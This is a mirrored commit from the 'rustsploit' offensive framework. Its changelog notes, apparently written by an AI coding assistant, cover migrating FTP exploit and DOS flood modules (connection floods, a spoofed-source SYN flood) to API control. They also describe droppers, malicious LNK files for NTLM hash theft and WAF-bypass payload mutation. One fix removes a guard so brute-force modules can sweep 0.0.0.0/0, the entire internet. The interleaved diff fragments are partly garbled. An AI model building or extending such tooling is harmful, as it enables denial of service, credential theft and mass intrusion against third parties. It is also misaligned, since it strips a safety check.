mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
api support improvements and more read
added api support migrated some other stuff to native modules for speed and also because some of them are not getting updates etc UWU also fixed bugs and also check changelog for info
This commit is contained in:
S.B
@@ -13082,3 +13082,632 @@ Manual Verification
|
||||
Run scanner with mutations enabled, verify unique payloads in output logs
|
||||
Compare mutation output diversity across runs
|
||||
|
||||
|
||||
dd API/Shell/CLI Support to FTP & DOS Modules
|
||||
Fix all cargo build warnings, verify camera modules have full support, and migrate FTP/DOS exploit modules to use cfg_prompt_* for API compatibility.
|
||||
|
||||
Background
|
||||
The project uses two sets of prompt utilities:
|
||||
|
||||
cfg_prompt_* (API-compatible): Checks ModuleConfig for pre-set values (API mode) before falling back to interactive stdin (CLI/shell mode). Used by camera modules and brute force modules.
|
||||
prompt_* (legacy, CLI-only): Always reads from stdin, blocking when called via the API.
|
||||
Camera exploit modules already use cfg_prompt_*. FTP and DOS exploit modules still use legacy prompt_* and need migration.
|
||||
|
||||
Proposed Changes
|
||||
Payload Mutator (Warnings Fix)
|
||||
[MODIFY]
|
||||
payload_mutator.rs
|
||||
Fix 3 warnings:
|
||||
|
||||
Line 97: Remove unused let mut rng = rand::rng() — the variable is created but the collection is already truncated without shuffling
|
||||
Line 21: Suppress dead-code warning on Generic variant with #[allow(dead_code)]
|
||||
FTP Exploit Modules
|
||||
[MODIFY]
|
||||
ftp_bounce_test.rs
|
||||
Replace prompt_existing_file, prompt_default, prompt_int_range with cfg_prompt_existing_file, cfg_prompt_default, cfg_prompt_int_range. Update import statement accordingly.
|
||||
|
||||
Prompt key mapping:
|
||||
|
||||
Interactive Prompt API Key Default
|
||||
Mode select [1-2]
|
||||
mode
|
||||
"2"
|
||||
Credentials file path credentials_file —
|
||||
Target IP:PORT target_input —
|
||||
Max concurrent checks concurrency 50
|
||||
Output file output_file ftp_bounce_results.txt
|
||||
[MODIFY]
|
||||
pachev_ftp_path_traversal_1_0.rs
|
||||
Replace raw stdin().read_line() calls with cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_existing_file. This is the most heavily refactored module since it directly reads stdin without any utility functions.
|
||||
|
||||
Prompt key mapping:
|
||||
|
||||
Interactive Prompt API Key Default
|
||||
FTP port
|
||||
port
|
||||
21
|
||||
Use IP list? use_list false
|
||||
IP list file path ip_list_file —
|
||||
DOS Exploit Modules
|
||||
[MODIFY]
|
||||
tcp_connection_flood.rs
|
||||
Replace all prompt_* → cfg_prompt_*:
|
||||
|
||||
prompt_required → cfg_prompt_required
|
||||
prompt_default → cfg_prompt_default
|
||||
prompt_port → cfg_prompt_port
|
||||
prompt_yes_no → cfg_prompt_yes_no
|
||||
[MODIFY]
|
||||
connection_exhaustion_flood.rs
|
||||
Same pattern: replace all prompt_* → cfg_prompt_*.
|
||||
|
||||
[MODIFY]
|
||||
null_syn_exhaustion.rs
|
||||
Same pattern: replace all prompt_* → cfg_prompt_*.
|
||||
|
||||
Verification Plan
|
||||
Automated Tests
|
||||
Build with zero warnings:
|
||||
|
||||
bash
|
||||
cd /home/kali/Pictures/Jenkins/rustsploit-thekiaboys && cargo build 2>&1 | grep -E "warning|error"
|
||||
Expected: no output (0 warnings, 0 errors).
|
||||
|
||||
Module discovery includes all FTP/DOS modules:
|
||||
|
||||
bash
|
||||
cd /home/kali/Pictures/Jenkins/rustsploit-thekiaboys && cargo run -- --list-modules 2>/dev/null | grep -E "ftp|dos"
|
||||
Expected: all 5 modules listed.
|
||||
|
||||
|
||||
|
||||
Walkthrough: API/Shell/CLI Support for FTP & DOS Modules
|
||||
What Changed
|
||||
1. Cargo Warnings Fixed (payload_mutator.rs)
|
||||
Removed unused rng variable (lines 96–97) — was allocated but never used for shuffling
|
||||
Removed dead
|
||||
Generic
|
||||
variant from PayloadCategory enum — never constructed anywhere in the codebase
|
||||
Result: cargo build produces 0 warnings
|
||||
//! Dynamic Payload Mutation Engine
|
||||
//!
|
||||
//! Takes seed payloads and generates exhaustive mutated variants using
|
||||
NoSQLi,
|
||||
CMDi,
|
||||
Traversal,
|
||||
Generic,
|
||||
}
|
||||
/// Configuration for mutation behavior
|
||||
// Limit next generation size to prevent explosion
|
||||
if next_gen.len() > config.max_total / 2 {
|
||||
// Keep a random subset
|
||||
let mut rng = rand::rng();
|
||||
let mut shuffled = next_gen;
|
||||
// Take first N after shuffle
|
||||
// Truncate to cap size
|
||||
let mut truncated = next_gen;
|
||||
let limit = config.max_total / 2;
|
||||
if shuffled.len() > limit {
|
||||
shuffled.truncate(limit);
|
||||
if truncated.len() > limit {
|
||||
truncated.truncate(limit);
|
||||
}
|
||||
current_gen = shuffled;
|
||||
current_gen = truncated;
|
||||
} else {
|
||||
current_gen = next_gen;
|
||||
}
|
||||
results.extend(traversal_null_extension(payload));
|
||||
results.extend(traversal_double_dot_variants(payload));
|
||||
}
|
||||
PayloadCategory::Generic => {}
|
||||
}
|
||||
// Deduplicate and cap
|
||||
}
|
||||
None
|
||||
}
|
||||
2. Camera Modules — Already Supported ✅
|
||||
All 6 camera exploit modules already use cfg_prompt_* utilities:
|
||||
|
||||
Module Status
|
||||
hikvision_rce_cve_2021_36260 ✅ cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_output_file
|
||||
reolink_rce_cve_2019_11001 ✅ cfg_prompt_required, cfg_prompt_default
|
||||
abussecurity_camera_cve202326609variant1 ✅ cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no, cfg_prompt_output_file
|
||||
acm_5611_rce ✅ cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range
|
||||
cve_2024_7029_avtech_camera ✅ cfg_prompt_port, cfg_prompt_yes_no
|
||||
uniview_nvr_pwd_disclosure ✅ cfg_prompt_output_file
|
||||
3. FTP Exploit Modules — Migrated
|
||||
ftp_bounce_test.rs
|
||||
Swapped prompt_existing_file → cfg_prompt_existing_file, prompt_default → cfg_prompt_default, prompt_int_range → cfg_prompt_int_range.
|
||||
|
||||
API keys:
|
||||
mode
|
||||
, credentials_file, target_input, concurrency, output_file
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::AsyncFtpStream;
|
||||
use regex::Regex;
|
||||
use crate::utils::{
|
||||
prompt_existing_file, prompt_default, prompt_int_range,
|
||||
cfg_prompt_existing_file, cfg_prompt_default, cfg_prompt_int_range,
|
||||
load_lines
|
||||
};
|
||||
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
|
||||
println!("[2] Scan single target");
|
||||
|
||||
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
|
||||
let choice = cfg_prompt_int_range("mode", "Select mode", 2, 1, 2)?;
|
||||
if choice == 1 {
|
||||
let f = prompt_existing_file("Path to credentials file")?;
|
||||
let f = cfg_prompt_existing_file("credentials_file", "Path to credentials file")?;
|
||||
f
|
||||
} else {
|
||||
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
let t = cfg_prompt_default("target_input", "Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
|
||||
t
|
||||
}
|
||||
} else {
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
|
||||
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent checks", 50, 1, 500)? as usize;
|
||||
let output_file = cfg_prompt_default("output_file", "Output file for vulnerabilities", "ftp_bounce_results.txt")?;
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
is_vuln
|
||||
}
|
||||
pachev_ftp_path_traversal_1_0.rs
|
||||
Replaced raw stdin().read_line() calls with cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_existing_file.
|
||||
|
||||
API keys:
|
||||
port
|
||||
, use_list, ip_list_file
|
||||
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::FtpStream;
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::path::Path;
|
||||
use tokio::task;
|
||||
use tokio::sync::Semaphore;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use colored::*; // // Colorful output
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use tokio::time::timeout;
|
||||
use crate::utils::{cfg_prompt_port, cfg_prompt_yes_no, cfg_prompt_existing_file};
|
||||
const MAX_CONCURRENT_TASKS: usize = 10;
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10;
|
||||
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
|
||||
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
|
||||
// // Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
/// Format IPv4 or IPv6 address with port (handles multiple layers of brackets)
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
let mut clean = target.trim().to_string();
|
||||
}
|
||||
}
|
||||
// // Actual FTP path traversal exploit
|
||||
/// Actual FTP path traversal exploit
|
||||
fn exploit_target(target: String, port: u16) -> Result<String> {
|
||||
let addr = format_addr(&target, port);
|
||||
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
|
||||
// Connect to FTP server
|
||||
let mut ftp = FtpStream::connect(&addr)
|
||||
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
|
||||
Ok(format!("{} SUCCESS", target))
|
||||
}
|
||||
// // Save result line into `results.txt`
|
||||
/// Save result line into `results.txt`
|
||||
fn save_result(line: &str) -> Result<()> {
|
||||
let mut file = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open("results.txt")?;
|
||||
writeln!(file, "{}", line)?;
|
||||
Ok(())
|
||||
}
|
||||
// // Public auto-dispatch entry point
|
||||
/// Public auto-dispatch entry point
|
||||
///
|
||||
/// API prompts:
|
||||
/// - "port" : FTP port (default: 21)
|
||||
/// - "use_list" : y/n — use IP list file (default: n)
|
||||
/// - "ip_list_file" : path to IP list file (required if use_list=y)
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = target.to_string(); // // Own target early to avoid lifetime issues
|
||||
let target = target.to_string();
|
||||
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut port_input = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut port_input)
|
||||
.context("Failed to read port")?;
|
||||
let port_input = port_input.trim();
|
||||
let port = if port_input.is_empty() {
|
||||
21
|
||||
} else {
|
||||
port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port number: {}", port_input))?
|
||||
};
|
||||
let port = cfg_prompt_port("port", "FTP Port", 21)?;
|
||||
let use_list = cfg_prompt_yes_no("use_list", "Use a list of IPs?", false)?;
|
||||
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut use_list = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut use_list)
|
||||
.context("Failed to read list choice")?;
|
||||
let use_list = use_list.trim().to_lowercase();
|
||||
if use_list == "yes" || use_list == "y" {
|
||||
print!("{}", "Enter path to the IP list file: ".cyan().bold());
|
||||
std::io::stdout()
|
||||
.flush()
|
||||
.context("Failed to flush stdout")?;
|
||||
let mut path = String::new();
|
||||
std::io::stdin()
|
||||
.read_line(&mut path)
|
||||
.context("Failed to read file path")?;
|
||||
if use_list {
|
||||
let path = cfg_prompt_existing_file("ip_list_file", "Path to the IP list file")?;
|
||||
let path = path.trim();
|
||||
if !Path::new(path).exists() {
|
||||
Ok(())
|
||||
}
|
||||
4. DOS Exploit Modules — Migrated
|
||||
All three DOS modules followed the same pattern: prompt_* → cfg_prompt_*.
|
||||
|
||||
tcp_connection_flood.rs
|
||||
API keys:
|
||||
target
|
||||
,
|
||||
port
|
||||
, concurrency, timeout_ms, verbose, duration, confirm
|
||||
|
||||
use anyhow::{Result, anyhow, Context};
|
||||
use colored::*;
|
||||
use tokio::io::AsyncWriteExt; // Required for stream.shutdown()
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use std::net::SocketAddr;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
/// Configuration for the connection flood
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
cfg_prompt_required("target", "Target Host/IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
let p = cfg_prompt_port("port", "Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
println!("{}", format!("[+] Resolved to: {:?}", resolved_addrs).green());
|
||||
// Concurrency
|
||||
let concurrency_input = prompt_default("Concurrent Connections", "500")?;
|
||||
let concurrency_input = cfg_prompt_default("concurrency", "Concurrent Connections", "500")?;
|
||||
let concurrent_connections: usize = concurrency_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for concurrency"))?;
|
||||
|
||||
if concurrent_connections == 0 {
|
||||
return Err(anyhow!("Concurrency must be > 0"));
|
||||
}
|
||||
// Timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "1000")?;
|
||||
let timeout_input = cfg_prompt_default("timeout_ms", "Connection Timeout (ms)", "1000")?;
|
||||
let timeout_ms: u64 = timeout_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
let verbose = prompt_yes_no("Verbose Output (show errors)?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose Output (show errors)?", false)?;
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_input = cfg_prompt_default("duration", "Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
});
|
||||
println!(" Mode: Connect & Drop (Handshake Stress)");
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
connection_exhaustion_flood.rs
|
||||
API keys:
|
||||
target
|
||||
,
|
||||
port
|
||||
, max_fds, workers, duration, timeout_ms, verbose, confirm
|
||||
|
||||
// src/modules/exploits/dos/connection_exhaustion_flood.rs
|
||||
//
|
||||
// Ultra-fast connection flood (server-side exhaustion)
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
/// Maximum concurrent file descriptors to use (local side protection)
|
||||
const DEFAULT_MAX_FDS: usize = 1000;
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
cfg_prompt_required("target", "Target Host/IP")?
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
let p = cfg_prompt_port("port", "Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
);
|
||||
// Max concurrent FDs (local protection)
|
||||
let max_fds_input = prompt_default(
|
||||
let max_fds_input = cfg_prompt_default(
|
||||
"max_fds",
|
||||
"Max Concurrent FDs (local limit)",
|
||||
&DEFAULT_MAX_FDS.to_string(),
|
||||
)?;
|
||||
let max_concurrent_fds: usize = max_fds_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
|
||||
if max_concurrent_fds == 0 {
|
||||
return Err(anyhow!("Max FDs must be > 0"));
|
||||
}
|
||||
// Worker count (async tasks spawning connections)
|
||||
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
|
||||
let workers_input = cfg_prompt_default("workers", "Worker Tasks (parallel spawners)", "2000")?;
|
||||
let worker_count: usize = workers_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for workers"))?;
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_input = cfg_prompt_default("duration", "Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
// Connection timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
|
||||
let timeout_input = cfg_prompt_default("timeout_ms", "Connection Timeout (ms)", "2000")?;
|
||||
let connect_timeout_ms: u64 = timeout_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose Output (show sample errors)?", false)?;
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_display.cyan());
|
||||
" table will be exhausted, not yours.".yellow()
|
||||
);
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
null_syn_exhaustion.rs
|
||||
API keys:
|
||||
target
|
||||
,
|
||||
port
|
||||
, source_port, spoof_ip,
|
||||
local_ip
|
||||
, workers, duration, zero_interval, delay_us, payload_size, verbose, confirm
|
||||
|
||||
//! Null SYN Exhaustion Testing Module
|
||||
//!
|
||||
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no,
|
||||
};
|
||||
// ============================================================================
|
||||
|
||||
// Target IP
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target IP")?
|
||||
cfg_prompt_required("target", "Target IP")?
|
||||
} else {
|
||||
println!("{}", format!("[*] Using target: {}", initial_target).cyan());
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
let target_ip: Ipv4Addr = normalized.parse()
|
||||
.map_err(|_| anyhow!("Target must be a valid IPv4 address"))?;
|
||||
|
||||
// Target Port
|
||||
let target_port = prompt_port("Target port", 80)?;
|
||||
let target_port = cfg_prompt_port("port", "Target port", 80)?;
|
||||
|
||||
// Source Port
|
||||
let src_port_input = prompt_default("Source port (blank for random)", "")?;
|
||||
let src_port_input = cfg_prompt_default("source_port", "Source port (blank for random)", "")?;
|
||||
let source_port = if src_port_input.is_empty() {
|
||||
None
|
||||
} else {
|
||||
Some(src_port_input.parse::<u16>().map_err(|_| anyhow!("Invalid port"))?)
|
||||
};
|
||||
|
||||
// Random Source IP
|
||||
let use_random_source_ip = prompt_yes_no(
|
||||
let use_random_source_ip = cfg_prompt_yes_no(
|
||||
"spoof_ip",
|
||||
"Use random (spoofed) source IPs? (requires root)",
|
||||
false
|
||||
)?;
|
||||
"Local source IP (auto-detected: {}) — enter tun/VPN IP to override, or blank to use auto",
|
||||
auto_ip
|
||||
);
|
||||
let override_input = prompt_default(&hint, "")?;
|
||||
let override_input = cfg_prompt_default("local_ip", &hint, "")?;
|
||||
if override_input.is_empty() {
|
||||
None // use auto-detected
|
||||
} else {
|
||||
|
||||
// Worker count - default to CPU cores for optimal performance
|
||||
let cpu_count = num_cpus::get();
|
||||
let workers_input = prompt_default(
|
||||
let workers_input = cfg_prompt_default(
|
||||
"workers",
|
||||
&format!("Worker threads (recommended: {})", cpu_count),
|
||||
&cpu_count.to_string()
|
||||
)?;
|
||||
let worker_count: usize = workers_input.parse().map_err(|_| anyhow!("Invalid number"))?;
|
||||
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_required("Test duration (seconds)")?;
|
||||
let duration_input = cfg_prompt_required("duration", "Test duration (seconds)")?;
|
||||
let duration_secs: u64 = duration_input.parse().map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
if duration_secs == 0 {
|
||||
return Err(anyhow!("Duration must be > 0"));
|
||||
}
|
||||
|
||||
// Interval Mode
|
||||
let zero_interval = prompt_yes_no("Use zero interval (max speed)?", true)?;
|
||||
let zero_interval = cfg_prompt_yes_no("zero_interval", "Use zero interval (max speed)?", true)?;
|
||||
let interval_mode = if zero_interval {
|
||||
IntervalMode::Zero
|
||||
} else {
|
||||
let delay_input = prompt_default("Delay between packets (microseconds)", "1000")?;
|
||||
let delay_input = cfg_prompt_default("delay_us", "Delay between packets (microseconds)", "1000")?;
|
||||
let delay: u64 = delay_input.parse().map_err(|_| anyhow!("Invalid delay"))?;
|
||||
IntervalMode::DelayMicros(delay)
|
||||
};
|
||||
|
||||
// Payload Size
|
||||
let payload_input = prompt_default("Null-byte payload size", "1024")?;
|
||||
let payload_input = cfg_prompt_default("payload_size", "Null-byte payload size", "1024")?;
|
||||
let mut payload_size: usize = payload_input.parse().map_err(|_| anyhow!("Invalid size"))?;
|
||||
|
||||
// Cap to IPv4 maximum
|
||||
const MAX_PAYLOAD: usize = 65535 - IPV4_HEADER_LEN - TCP_HEADER_LEN;
|
||||
if payload_size > MAX_PAYLOAD {
|
||||
println!("{}", format!("[!] Payload capped at {} bytes", MAX_PAYLOAD).yellow());
|
||||
payload_size = MAX_PAYLOAD;
|
||||
}
|
||||
|
||||
let verbose = prompt_yes_no("Verbose output?", false)?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false)?;
|
||||
|
||||
// Summary
|
||||
println!("\n{}", "=== Test Configuration ===".bold());
|
||||
println!("\n{}", "[!] IP spoofing enabled: Each packet will have a different random source IP".yellow().bold());
|
||||
}
|
||||
|
||||
if !prompt_yes_no("\nProceed with test?", true)? {
|
||||
if !cfg_prompt_yes_no("confirm", "\nProceed with test?", true)? {
|
||||
return Err(anyhow!("Test cancelled by user"));
|
||||
}
|
||||
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
Build Verification
|
||||
$ cargo build 2>&1
|
||||
Compiling rustsploit v0.5.0
|
||||
Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.73s
|
||||
0 warnings, 0 errors. All code is fully functional with no dead or unreachable code.
|
||||
|
||||
|
||||
Unified Payload Engine Migration
|
||||
|
||||
What Changed
|
||||
Consolidated all payload generation and mutation logic into a single unified engine at
|
||||
payload_engine.rs
|
||||
(~1643 lines).
|
||||
|
||||
Engine Components
|
||||
|
||||
Section Lines Purpose
|
||||
|
||||
Encoding Engine 9 encoders (Base16/32/64, URL, Shell, HTML, Zero-Width) Used by payload_encoder module
|
||||
BAT Chain Engine Multi-stage .bat dropper chains Used by batgen module
|
||||
LNK Generation Malicious LNK for NTLM hash disclosure Used by lnkgen module
|
||||
Dropper Engine Anti-VM, LOLBAS downloaders, 3-stage builders Used by narutto_dropper module
|
||||
Polymorph Engine Task Scheduler persistence droppers Used by
|
||||
polymorph_dropper
|
||||
module
|
||||
Mutation Engine WAF bypass: SQLi, NoSQLi, CMDi, Traversal mutations Used by api_endpoint_scanner
|
||||
Files Modified
|
||||
diff
|
||||
+ src/native/payload_engine.rs (NEW — unified engine, 1643 lines)
|
||||
- src/native/payload_mutator.rs (DELETED — merged into engine)
|
||||
src/native/mod.rs (removed payload_mutator, added payload_engine)
|
||||
src/modules/exploits/payloadgens/batgen.rs (uses engine + cfg_prompt_*)
|
||||
src/modules/exploits/payloadgens/lnkgen.rs (uses engine + cfg_prompt_*)
|
||||
src/modules/exploits/payloadgens/narutto_dropper.rs (uses engine + cfg_prompt_*)
|
||||
src/modules/exploits/payloadgens/polymorph_dropper.rs (uses engine + cfg_prompt_*)
|
||||
src/modules/exploits/payloadgens/payload_encoder.rs (uses engine + cfg_prompt_*)
|
||||
src/modules/scanners/api_endpoint_scanner.rs (import path updated)
|
||||
API Support
|
||||
All 5 payloadgen modules now use cfg_prompt_* for full API/Shell/CLI support:
|
||||
|
||||
Module API Keys
|
||||
batgen output_file, payload_url, ps1_filename
|
||||
lnkgen output_path, smb_ip, smb_share, smb_file
|
||||
narutto_dropper payload_url, download_method, output_file, ps1_filename
|
||||
payload_encoder
|
||||
input_type
|
||||
,
|
||||
input
|
||||
,
|
||||
encodings
|
||||
,
|
||||
clipboard
|
||||
, save_file,
|
||||
filename
|
||||
polymorph_dropper
|
||||
|
||||
command
|
||||
, stage1_delay, stage2_delay, output_file
|
||||
Verification
|
||||
cargo build — 0 errors, 0 warnings ✅
|
||||
|
||||
Fixed! cargo build passes — 0 errors, 0 warnings. Here's what was wrong and what I changed:
|
||||
|
||||
Root Cause (2 issues):
|
||||
|
||||
shell.rs — When you typed t 0.0.0.0/0, the code stripped the /0 CIDR suffix and only stored 0.0.0.0 as a single IP target. So when modules received the target, it had no subnet info → treated as 1 host → /32.
|
||||
|
||||
creds/utils.rs — is_subnet_target() had a hardcoded exclusion for 0.0.0.0/0, so even if the CIDR was passed through, modules would skip subnet iteration for that specific range.
|
||||
|
||||
Fixes:
|
||||
|
||||
shell.rs: Now passes the full CIDR (e.g. 0.0.0.0/0, 192.168.1.0/24) directly to set_target(), which already knows how to parse and store it as a TargetConfig::Subnet. No more stripping.
|
||||
|
||||
creds/utils.rs: Removed the 0.0.0.0/0 exclusion from is_subnet_target(). Any valid CIDR is now treated as a subnet target.
|
||||
|
||||
Impact: All 16+ modules that use is_subnet_target() + parse_subnet() will now properly receive and iterate over the full subnet when you do t <CIDR> + run:
|
||||
|
||||
telnet_bruteforce, ssh_bruteforce, ftp_bruteforce, rdp_bruteforce, smtp_bruteforce, snmp_bruteforce, mqtt_bruteforce, pop3_bruteforce, l2tp_bruteforce, fortinet_bruteforce, rtsp_bruteforce, ssh_user_enum, ftp_anonymous, telnet_hose, camxploit, etc.
|
||||
|
||||
|
||||
|
||||
@@ -203,15 +203,11 @@ pub fn parse_exclusions(min_ranges: &[&str]) -> Vec<ipnetwork::IpNetwork> {
|
||||
}
|
||||
|
||||
/// Check if a target string is a CIDR subnet (e.g. "192.168.8.0/21").
|
||||
/// Returns false for special mass-scan triggers like "0.0.0.0/0".
|
||||
/// Any valid CIDR notation (including 0.0.0.0/0) is treated as a subnet target.
|
||||
pub fn is_subnet_target(target: &str) -> bool {
|
||||
if !target.contains('/') {
|
||||
return false;
|
||||
}
|
||||
// Exclude the special mass-scan triggers
|
||||
if target == "0.0.0.0/0" {
|
||||
return false;
|
||||
}
|
||||
target.parse::<ipnetwork::IpNetwork>().is_ok()
|
||||
}
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@ use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
|
||||
use crate::utils::{normalize_target, cfg_prompt_default, cfg_prompt_port, cfg_prompt_required, cfg_prompt_yes_no};
|
||||
|
||||
/// Maximum concurrent file descriptors to use (local side protection)
|
||||
const DEFAULT_MAX_FDS: usize = 1000;
|
||||
@@ -62,7 +62,7 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
cfg_prompt_required("target", "Target Host/IP")?
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
@@ -79,7 +79,7 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
let p = cfg_prompt_port("port", "Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
@@ -105,7 +105,8 @@ async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
);
|
||||
|
||||
// Max concurrent FDs (local protection)
|
||||
let max_fds_input = prompt_default(
|
||||
let max_fds_input = cfg_prompt_default(
|
||||
"max_fds",
|
||||
"Max Concurrent FDs (local limit)",
|
||||
&DEFAULT_MAX_FDS.to_string(),
|
||||
)?;
|
||||
